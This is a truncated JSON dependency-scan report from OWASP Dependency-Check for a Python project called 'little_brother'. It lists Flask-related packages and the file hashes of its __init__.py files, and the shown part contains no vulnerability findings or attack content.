dependency-check-report-python-large.json

{
  "reportSchema": "1.1",
  "scanInfo": {
    "engineVersion": "10.0.4",
    "dataSource": [
      {
        "name": "NVD API Last Checked",
        "timestamp": "2024-09-29T20:01:25Z"
      },
      {
        "name": "NVD API Last Modified",
        "timestamp": "2024-09-29T15:15:15Z"
      }
    ]
  },
  "projectInfo": {
    "name": "little_brother",
    "reportDate": "2024-09-29T21:34:53.579691469Z",
    "credits": {
      "NVD": "This product uses the NVD API but is not endorsed or certified by the NVD. This report contains data retrieved from the National Vulnerability Database: https://nvd.nist.gov",
      "CISA": "This report may contain data retrieved from the CISA Known Exploited Vulnerability Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog",
      "NPM": "This report may contain data retrieved from the Github Advisory Database (via NPM Audit API): https://github.com/advisories/",
      "RETIREJS": "This report may contain data retrieved from the RetireJS community: https://retirejs.github.io/retire.js/",
      "OSSINDEX": "This report may contain data retrieved from the Sonatype OSS Index: https://ossindex.sonatype.org"
    }
  },
  "dependencies": [
    {
      "isVirtual": true,
      "fileName": "Flask-WTF:1.2.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:Flask-WTF\/1.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Flask-WTF"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Flask-WTF"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-wtf@1.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-wtf@1.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "Flask-WTF:1.2.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:Flask-WTF\/1.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Flask-WTF"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Flask-WTF"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-wtf@1.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-wtf@1.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "Flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:Flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "Flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:Flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "Jinja2:3.1.4",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:Jinja2\/3.1.4",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Jinja2"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Jinja2"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.4"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jinja2@3.1.4",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jinja2@3.1.4?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "Jinja2:3.1.4",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:Jinja2\/3.1.4",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "Jinja2"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "Jinja2"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.4"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jinja2@3.1.4",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jinja2@3.1.4?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "MarkupSafe:2.1.5",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:MarkupSafe\/2.1.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "MarkupSafe"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "MarkupSafe"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.1.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/markupsafe@2.1.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/markupsafe@2.1.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "MarkupSafe:2.1.5",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:MarkupSafe\/2.1.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "MarkupSafe"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "MarkupSafe"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.1.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/markupsafe@2.1.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/markupsafe@2.1.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "WTForms:3.0.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:WTForms\/3.0.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "WTForms"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "WTForms"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/wtforms@3.0.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/wtforms@3.0.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "WTForms:3.0.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:WTForms\/3.0.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "WTForms"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "WTForms"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/wtforms@3.0.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/wtforms@3.0.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "__init__.py",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/some_flask_helpers\/__init__.py",
      "md5": "9e34c0da41a4c3375dd577d7eee36a3e",
      "sha1": "e31cd11d831d251802f029d951e6b2650ecd6a49",
      "sha256": "e9f7f2e3dadc0a687fe08fba581098c7ab1072e039b095d248dd8aa4dd2ec89a",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "some-flask-helpers-0.2.6.tar.gz: some-flask-helpers-0.2.6.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/some_flask_helpers\/__init__.py",
          "sha256": "e9f7f2e3dadc0a687fe08fba581098c7ab1072e039b095d248dd8aa4dd2ec89a",
          "sha1": "e31cd11d831d251802f029d951e6b2650ecd6a49",
          "md5": "9e34c0da41a4c3375dd577d7eee36a3e",
          "packageIds": [
            {
              "id": "pkg:pypi/some-flask-helpers"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "__init__.py",
            "name": "PackageName",
            "value": "some_flask_helpers"
          }
        ],
        "versionEvidence": []
      },
      "packages": [
        {
          "id": "pkg:pypi\/some-flask-helpers",
          "confidence": "HIGHEST"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "__init__.py",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/__init__.py",
      "md5": "d41d8cd98f00b204e9800998ecf8427e",
      "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
      "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/python_base_app\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/python-base-app"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/python_base_app\/test\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/python_base_app\/test\/resources\/ci_toolbox\/a_package\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/some_flask_helpers\/test\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/alembic\/versions\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/api\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/api"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/devices\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/devices"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/persistence\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/persistence"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/test"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/api\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/persistence\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/pytests\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/pytests\/devices\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/web\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/test\/web_angular\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/transport\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/transport"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "__init__.py",
          "filePath": "\/builds\/mr\/little_brother\/little_brother\/web\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/web"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/little-brother"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/alembic\/versions\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/versions"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/api\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/api"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/devices\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/devices"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/persistence\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/persistence"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/test"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/api\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/api"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/persistence\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/persistence"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/pytests\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/pytests\/devices\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/devices"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/web\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/web"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/test\/web_angular\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/web-angular"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/transport\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/transport"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/web\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/web"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/python-base-app"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: __init__.py",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app\/test\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e",
          "packageIds": [
            {
              "id": "pkg:pypi/test"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: __init__.py",
